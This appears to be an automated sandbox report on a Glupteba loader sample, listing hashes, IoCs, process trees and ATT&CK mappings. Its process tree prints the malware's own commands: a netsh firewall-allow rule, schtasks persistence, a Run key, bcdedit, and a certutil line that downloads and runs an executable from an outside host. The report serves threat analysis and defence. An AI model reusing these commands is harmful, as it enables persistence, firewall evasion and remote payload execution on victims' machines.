glupteba | 713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f

General

Target

713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
Size

4.2MB
MD5

649193ad2480b42356f8a3510b97f380
SHA1

ce91fb0c24a8bb7bb6e2c6cd17cf797a8ddd8886
SHA256

713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f
SHA512

652e89159b685418c402937264b607f27fc509a36924813bc8f3dd426e281dd3c804092938b81039d3ab7228d21d543e4b34a7739be013e1f721d75e8bf91860

Score

10^/10

glupteba discovery dropper evasion loader persistence upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 9 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4828-131-0x00000000057D0000-0x0000000005EC6000-memory.dmp	family_glupteba
behavioral2/memory/4828-133-0x0000000000400000-0x0000000004D4C000-memory.dmp	family_glupteba
behavioral2/memory/4828-135-0x00000000057D0000-0x0000000005EC6000-memory.dmp	family_glupteba
behavioral2/memory/4828-136-0x0000000000400000-0x0000000004D4C000-memory.dmp	family_glupteba
behavioral2/memory/480-141-0x0000000000400000-0x0000000004D4C000-memory.dmp	family_glupteba
behavioral2/memory/480-145-0x0000000000400000-0x0000000004D4C000-memory.dmp	family_glupteba
behavioral2/memory/2840-148-0x0000000000400000-0x0000000004D4C000-memory.dmp	family_glupteba
behavioral2/memory/2840-154-0x0000000000400000-0x0000000004D4C000-memory.dmp	family_glupteba
behavioral2/memory/2840-155-0x0000000000400000-0x0000000004D4C000-memory.dmp	family_glupteba

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 4972 created 4828	4972	svchost.exe	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
PID 4972 created 2840	4972	svchost.exe	csrss.exe
PID 4972 created 2840	4972	svchost.exe	csrss.exe
PID 4972 created 2840	4972	svchost.exe	csrss.exe

Executes dropped EXE 2 IoCs

Processes:

csrss.exepatch.exe

pid process

2840 csrss.exe
4824 patch.exe
Modifies Windows Firewall 1 TTPs 1 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exe

pid process

2056 netsh.exe

pid	process
2840	csrss.exe
4824	patch.exe

pid	process
2056	netsh.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/4828-130-0x0000000000400000-0x0000000004D4C000-memory.dmp	upx
behavioral2/memory/480-137-0x0000000000400000-0x0000000004D4C000-memory.dmp	upx
C:\Windows\rss\csrss.exe	upx
C:\Windows\rss\csrss.exe	upx
behavioral2/memory/2840-146-0x0000000000400000-0x0000000004D4C000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1081944012-3634099177-1681222835-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TwilightVoice = "\"C:\\Windows\\rss\\csrss.exe\""	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Modifies boot configuration data using bcdedit 1 IoCs

Processes:

bcdedit.exe

pid process

2188 bcdedit.exe

pid	process
2188	bcdedit.exe

Drops file in Windows directory 2 IoCs

Processes:

713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe

description	ioc	process
File opened for modification	C:\Windows\rss	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
File created	C:\Windows\rss\csrss.exe	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3160 schtasks.exe
3404 schtasks.exe

pid	process
3160	schtasks.exe
3404	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

csrss.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2772 = "Omsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2872 = "Magallanes Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1501 = "Turkey Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2892 = "Sudan Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-201 = "US Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-104 = "Central Brazilian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2321 = "Sakhalin Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-82 = "Atlantic Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2612 = "Bougainville Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-792 = "SA Western Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-931 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"	csrss.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.execsrss.exe

pid	process
4828	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
4828	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
480	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
480	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
2840	csrss.exe
2840	csrss.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

Processes:

713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exesvchost.execsrss.exe

description	pid	process
Token: SeDebugPrivilege	4828	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
Token: SeImpersonatePrivilege	4828	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
Token: SeTcbPrivilege	4972	svchost.exe
Token: SeTcbPrivilege	4972	svchost.exe
Token: SeBackupPrivilege	4972	svchost.exe
Token: SeRestorePrivilege	4972	svchost.exe
Token: SeBackupPrivilege	4972	svchost.exe
Token: SeRestorePrivilege	4972	svchost.exe
Token: SeBackupPrivilege	4972	svchost.exe
Token: SeRestorePrivilege	4972	svchost.exe
Token: SeBackupPrivilege	4972	svchost.exe
Token: SeRestorePrivilege	4972	svchost.exe
Token: SeSystemEnvironmentPrivilege	2840	csrss.exe
Token: SeBackupPrivilege	4972	svchost.exe
Token: SeRestorePrivilege	4972	svchost.exe
Token: SeBackupPrivilege	4972	svchost.exe
Token: SeRestorePrivilege	4972	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

svchost.exe713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.execmd.execsrss.exe

description	pid	process	target process
PID 4972 wrote to memory of 480	4972	svchost.exe	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
PID 4972 wrote to memory of 480	4972	svchost.exe	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
PID 4972 wrote to memory of 480	4972	svchost.exe	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
PID 480 wrote to memory of 4340	480	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe	cmd.exe
PID 480 wrote to memory of 4340	480	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe	cmd.exe
PID 4340 wrote to memory of 2056	4340	cmd.exe	netsh.exe
PID 4340 wrote to memory of 2056	4340	cmd.exe	netsh.exe
PID 480 wrote to memory of 2840	480	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe	csrss.exe
PID 480 wrote to memory of 2840	480	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe	csrss.exe
PID 480 wrote to memory of 2840	480	713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe	csrss.exe
PID 4972 wrote to memory of 3160	4972	svchost.exe	schtasks.exe
PID 4972 wrote to memory of 3160	4972	svchost.exe	schtasks.exe
PID 4972 wrote to memory of 3404	4972	svchost.exe	schtasks.exe
PID 4972 wrote to memory of 3404	4972	svchost.exe	schtasks.exe
PID 4972 wrote to memory of 4824	4972	svchost.exe	patch.exe
PID 4972 wrote to memory of 4824	4972	svchost.exe	patch.exe
PID 2840 wrote to memory of 2188	2840	csrss.exe	bcdedit.exe
PID 2840 wrote to memory of 2188	2840	csrss.exe	bcdedit.exe

C:\Users\Admin\AppData\Local\Temp\713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
"C:\Users\Admin\AppData\Local\Temp\713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4828

C:\Users\Admin\AppData\Local\Temp\713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe
"C:\Users\Admin\AppData\Local\Temp\713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f.exe"
2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:480

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:4340

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
PID:2056

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2840

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:3160

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:3404

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
PID:4824

C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4972

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
Filesize
4.2MB

MD5
649193ad2480b42356f8a3510b97f380

SHA1
ce91fb0c24a8bb7bb6e2c6cd17cf797a8ddd8886

SHA256
713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f

SHA512
652e89159b685418c402937264b607f27fc509a36924813bc8f3dd426e281dd3c804092938b81039d3ab7228d21d543e4b34a7739be013e1f721d75e8bf91860

Download Submit
C:\Windows\rss\csrss.exe
Filesize
4.2MB

MD5
649193ad2480b42356f8a3510b97f380

SHA1
ce91fb0c24a8bb7bb6e2c6cd17cf797a8ddd8886

SHA256
713030a09e78962d6f12c3924adef8d4275733e4579a60b7e985f864df49230f

SHA512
652e89159b685418c402937264b607f27fc509a36924813bc8f3dd426e281dd3c804092938b81039d3ab7228d21d543e4b34a7739be013e1f721d75e8bf91860

Download Submit
memory/480-145-0x0000000000400000-0x0000000004D4C000-memory.dmp

Filesize
73.3MB

Download
memory/480-134-0x0000000000000000-mapping.dmp

Download
memory/480-137-0x0000000000400000-0x0000000004D4C000-memory.dmp

Filesize
73.3MB

Download
memory/480-138-0x000000000543C000-0x00000000057E3000-memory.dmp

Filesize
3.7MB

Download
memory/480-141-0x0000000000400000-0x0000000004D4C000-memory.dmp

Filesize
73.3MB

Download
memory/2056-140-0x0000000000000000-mapping.dmp

Download
memory/2188-153-0x0000000000000000-mapping.dmp

Download
memory/2840-148-0x0000000000400000-0x0000000004D4C000-memory.dmp

Filesize
73.3MB

Download
memory/2840-147-0x0000000005800000-0x0000000005BA7000-memory.dmp

Filesize
3.7MB

Download
memory/2840-142-0x0000000000000000-mapping.dmp

Download
memory/2840-155-0x0000000000400000-0x0000000004D4C000-memory.dmp

Filesize
73.3MB

Download
memory/2840-154-0x0000000000400000-0x0000000004D4C000-memory.dmp

Filesize
73.3MB

Download
memory/2840-146-0x0000000000400000-0x0000000004D4C000-memory.dmp

Filesize
73.3MB

Download
memory/3160-149-0x0000000000000000-mapping.dmp

Download
memory/3404-150-0x0000000000000000-mapping.dmp

Download
memory/4340-139-0x0000000000000000-mapping.dmp

Download
memory/4824-151-0x0000000000000000-mapping.dmp

Download
memory/4828-130-0x0000000000400000-0x0000000004D4C000-memory.dmp

Filesize
73.3MB

Download
memory/4828-133-0x0000000000400000-0x0000000004D4C000-memory.dmp

Filesize
73.3MB

Download
memory/4828-132-0x0000000005426000-0x00000000057CD000-memory.dmp

Filesize
3.7MB

Download
memory/4828-131-0x00000000057D0000-0x0000000005EC6000-memory.dmp

Filesize
7.0MB

Download
memory/4828-135-0x00000000057D0000-0x0000000005EC6000-memory.dmp

Filesize
7.0MB

Download
memory/4828-136-0x0000000000400000-0x0000000004D4C000-memory.dmp

Filesize
73.3MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads